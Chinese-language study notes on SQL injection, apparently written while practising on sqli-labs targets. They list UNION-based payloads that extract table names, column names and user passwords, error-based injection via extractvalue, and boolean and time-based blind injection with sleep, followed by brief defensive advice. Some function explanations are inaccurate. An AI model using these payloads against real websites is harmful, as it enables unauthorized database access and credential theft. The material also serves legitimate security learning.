针对 SQL 的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结 构,达到编写程序时意料之外结果的攻击行为,其成因可以归结为以下两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
2、未对用户可控参数进行足够的过滤,便便将参数内容拼接到 SQL 语句中。
数字型 参数两边没有单双引号。
字符型 参数两边有单双引号。
判断
当 id=2-1 回显出 id=1 的值,就为数字型
联合查询是最常用的 SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。
联合查询可以跨库,跨表查询。
注入点的判断
?id=33 ?id=34 ?id=32 ?id=33'
?id=1' order by 1 正常
?id=1' order by 2 正常
...
?id=1' order by n 不正常
说明当前表中有(n-1) 列。
利用回显
?id=111' union select 1,2,3
?id=1' and 1=2 union select 1,2,3
?id=111‘ union select database(),version(),3--+
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
//?id=1:假定这是一个 Web 应用程序的 URL 查询字符串参数,指定了 id 参数的值为 1。 and 1=2:这个条件会使查询结果集为空,用来绕过原有的查询条件。
union select 1,group_concat(table_name),3:使用 UNION 操作符,这部分查询语句返回一个包含三列数据的结果集:第一列是数字 1,第二列是目标数据库中所有数据表的名称列表,这里使用了 GROUP_CONCAT 函数进行聚合拼接,第三列是数字 3。
from information_schema.tables where table_schema=database():这个子查询用来获取当前数据库中的所有表名称,通过查询信息模式(information schema)中的 tables 表实现。
database() 函数返回当前正在使用的数据库名称。
综合起来,这条攻击语句的目的是从当前数据库中获取所有数据表的表名信息,攻击者将数据表名称拼接后将其作为查询结果返回。该攻击利用了 SQL 注入漏洞,通过修改原有的 SQL 语句,绕过了应用程序的输入校验机制,从而对目标数据库造成了安全风险。
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()
结论:能够对列数进行判断,有回显,可以考虑用联合查询。
//- ?id=111
:假定这是一个 Web 应用程序的 URL 查询字符串参数,指定了 id
参数的值为 111
。
union select 1,group_concat(column_name),3
:使用 UNION 操作符,这部分查询语句返回一个包含三列数据的结果集:第一列是数字 1
,第二列是目标数据表(在这里是 users
表)中所有字段名称的列表,这里使用了 GROUP_CONCAT 函数进行聚合拼接,第三列是数字 3
。
from information_schema.columns where table_name='users' and table_schema=database()
:这个子查询用来获取目标数据表(在这里是 users
表)中所有列的名称,通过查询信息模式(information schema)中的 columns
表实现。其中,table_name='users'
用来指定查询的数据表名为 users
,table_schema=database()
用来限制查询所在的数据库为当前正在使用的数据库。
综合起来,这条攻击语句的目的是从 users
表中获取所有字段的名称列表,攻击者将字段名拼接后将其作为查询结果返回。该攻击利用了 SQL 注入漏洞,通过修改原有的 SQL 语句,绕过了应用程序的输入校验机制,从而对目标数据库造成了安全风险。
有的后端不进行数据库运算,所以有的网页改url里面传递参数的值,没有反应和报错
人家不一定说你给的参数,就一定拿到数据库去运算
Sqli 靶场1
?id=111' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and
table_schema=database()--+
Sqli 靶场2
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()
Sqli 靶场3
?id=111') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()+++
sqli靶场1查询字段数据
?id=111' union select 1,2, (select group_concat(password) from users)--+
在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以进 行报错注入。
注意:错误信息来自于 数据库 、 中间件 还是 Web 容器 。
extractvalue()
//EXTRACTVALUE()
是MySQL数据库中的一个XPath查询函数,用于从XML类型的数据中提取指定节点的值。
EXTRACTVALUE()
函数可以被恶意用户用于进行注入攻击,从而对数据进行非法操作,因此在开发Web应用时,需要特别注意其安全性。由于其安全漏洞问题,自MySQL版本5.7.8开始,该函数被标记为不安全函数。如果要安全地处理XML数据,可以使用ExtractValue()
函数的替代方案,如JSON_EXTRACT()
函数等。
and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
json_extract函数
利用页面的布尔类型状态来进行判断,⽬标获取数据库名字。
计算数据库名字的长度
?id=1' and length(database())=8--+
下面解释一下函数
substr函数一个字符串处理函数,用于返回一个给定字符串的子字符串。
ascii函数是一个内置函数,用于返回一个表示给定对象的ASCII字符的字符串。
http://127.0.0.1/sqllib/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
利用 sleep() 语句的延时性,以时间线作为判断条件。
计算数据库名字的长度
?id=3' and if(length(database())=8,sleep(5),1)--+
sleep函数 用于让终端暂停一段时间
利用 sleep() 语句的延时性,以时间线作为判断条件。
?id=1'and If(ascii(substr(database(),1,1))=110,sleep(5),1)--+
?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
过滤特殊字符,采用参数化查询,使用户输入的参数永远为普通字符,不会被作为特殊符号打 乱原有 sql 语句。
利用str_replace这个函数定义一下select、这些特殊字符作为黑名单,一旦识别然后给他替换成一个点. ,这样他用双写和大小写都没法绕过。
利用preg_replace这个函数给他匹配单双引号,如果匹配到了,直接把他替换为空(null),这样的话,他即使在前端输入这个单双引号也不会进入我下面的sql语句。
使用 ||(or) 和 &&(and) (使用时进行 URL 编码%26)
--+注释 +代替空格